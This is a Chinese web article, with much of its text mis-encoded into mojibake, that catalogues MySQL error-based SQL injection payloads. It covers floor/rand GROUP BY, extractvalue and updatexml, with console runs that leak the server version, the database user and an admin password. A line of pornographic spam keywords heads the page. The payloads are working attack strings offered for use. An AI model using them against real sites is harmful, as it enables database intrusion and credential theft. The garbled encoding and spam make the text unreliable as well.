亚洲乱码中文字幕综合,中国熟女仑乱hd,亚洲精品乱拍国产一区二区三区,一本大道卡一卡二卡三乱码全集资源,又粗又黄又硬又爽的免费视频

mysql 注入報(bào)錯(cuò)利用方法總結(jié)

  發(fā)布時(shí)間:2016-10-08 15:40:27   作者:佚名   我要評(píng)論
這篇文章主要介紹了mysql 注入報(bào)錯(cuò)利用方法總結(jié)的相關(guān)資料,需要的朋友可以參考下

1、通過(guò)floor報(bào)錯(cuò)

可以通過(guò)如下一些利用代碼

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

and (select count(*) from (select 1 union select null union select !1)x group by concat((select table_name from information_schema.tables limit 1),floor(rand(0)*2)));

舉例如下:

首先進(jìn)行正常查詢:

mysql> select * from article where id = 1;

+—-+——-+———+

| id | title | content |

+—-+——-+———+

| 1 | test | do it |

+—-+——-+———+

假如id輸入存在注入的話,可以通過(guò)如下語(yǔ)句進(jìn)行報(bào)錯(cuò)。

mysql> select * from article where id = 1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

ERROR 1062 (23000): Duplicate entry ‘5.1.33-community-log1’ for key ‘group_key’

可以看到成功爆出了Mysql的版本,如果需要查詢其他數(shù)據(jù),可以通過(guò)修改version()所在位置語(yǔ)句進(jìn)行查詢。

例如我們需要查詢管理員用戶名和密碼:

Method1:

mysql> select * from article where id = 1 and (select 1 from (select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x from information_schema.tables group by x)a);

ERROR 1062 (23000): Duplicate entry ‘admin8881’ for key ‘group_key’

Method2:

mysql> select * from article where id = 1 and (select count(*) from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),floor(rand(0)*2)));

ERROR 1062 (23000): Duplicate entry ‘admin8881’ for key ‘group_key’

2、ExtractValue

測(cè)試語(yǔ)句如下

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

實(shí)際測(cè)試過(guò)程

mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–

ERROR 1105 (HY000): XPATH syntax error: ‘\admin888’

3、UpdateXml

測(cè)試語(yǔ)句

and 1=(updatexml(1,concat(0x3a,(select user())),1))

實(shí)際測(cè)試過(guò)程

mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))ERROR 1105 (HY000): XPATH syntax error: ‘:root@localhost’

相關(guān)文章

  • SQL注入黑客防線網(wǎng)站實(shí)例分析

    這篇文章主要介紹了SQL注入黑客防線網(wǎng)站實(shí)例分析,需要的朋友可以參考下
    2017-05-19
  • ASP+PHP 標(biāo)準(zhǔn)sql注入語(yǔ)句(完整版)

    這里為大家分享一下sql注入的一些語(yǔ)句,很多情況下由于程序員的安全意識(shí)薄弱或基本功不足就容易導(dǎo)致sql注入安全問(wèn)題,建議大家多看一下網(wǎng)上的安全文章,最好的防范就是先學(xué)
    2017-05-19
  • SQL注入攻擊(攻擊與防范)

    SQL注入是從正常的WWW端口訪問(wèn),而且表面看起來(lái)跟一般的Web頁(yè)面訪問(wèn)沒(méi)什么區(qū)別,所以目前市面的防火墻都不會(huì)對(duì)SQL注入發(fā)出警報(bào),如果管理員沒(méi)查看IIS日志的習(xí)慣,可能被入
    2016-05-21
  • SQL注入測(cè)試實(shí)例分析

    這篇文章主要為大家介紹了SQL注入測(cè)試實(shí)例分析,對(duì)于數(shù)據(jù)庫(kù)安全非常重要,需要的朋友可以參考下
    2014-08-06
  • Sqlmap注入技巧集錦

    sqlmap 是一個(gè)自動(dòng)SQL 射入工具。本文收集了一些利用Sqlmap做注入測(cè)試的TIPS,其中也包含一點(diǎn)繞WAF的技巧,便于大家集中查閱,歡迎接樓補(bǔ)充、分享。
    2014-07-29
  • SQL注入攻防入門詳解 [圖文并茂] 附示例下載

    畢業(yè)開始從事winfrm到今年轉(zhuǎn)到 web ,在碼農(nóng)屆已經(jīng)足足混了快接近3年了,但是對(duì)安全方面的知識(shí)依舊薄弱,事實(shí)上是沒(méi)機(jī)會(huì)接觸相關(guān)開發(fā)……必須的各種借口。這幾天把sql注入
    2012-11-06
  • Java防止SQL注入的幾個(gè)途徑

    java防SQL注入,最簡(jiǎn)單的辦法是杜絕SQL拼接,SQL注入攻擊能得逞是因?yàn)樵谠蠸QL語(yǔ)句中加入了新的邏輯
    2012-08-10
  • 防止SQL注入攻擊的一些方法小結(jié)

    SQL注入攻擊的危害性很大。在講解其防止辦法之前,數(shù)據(jù)庫(kù)管理員有必要先了解一下其攻擊的原理。這有利于管理員采取有針對(duì)性的防治措施
    2012-07-10
  • web 頁(yè)面 一些sql注入語(yǔ)句小結(jié)

    web 頁(yè)面 一些sql注入語(yǔ)句小結(jié),對(duì)于開發(fā)人員來(lái)說(shuō)一定要注意的事項(xiàng)。
    2012-03-12
  • 手動(dòng)mysql 高級(jí)注入實(shí)例分析

    為了 方便 自己隨手寫了個(gè) sql.php注入點(diǎn) 。經(jīng)典的 id沒(méi)有過(guò)濾 造成 sql語(yǔ)句帶入?yún)?shù) 形成注入, 對(duì)了 大家導(dǎo)入test.sql 這個(gè)數(shù)據(jù)庫(kù)文件吧
    2010-08-04

最新評(píng)論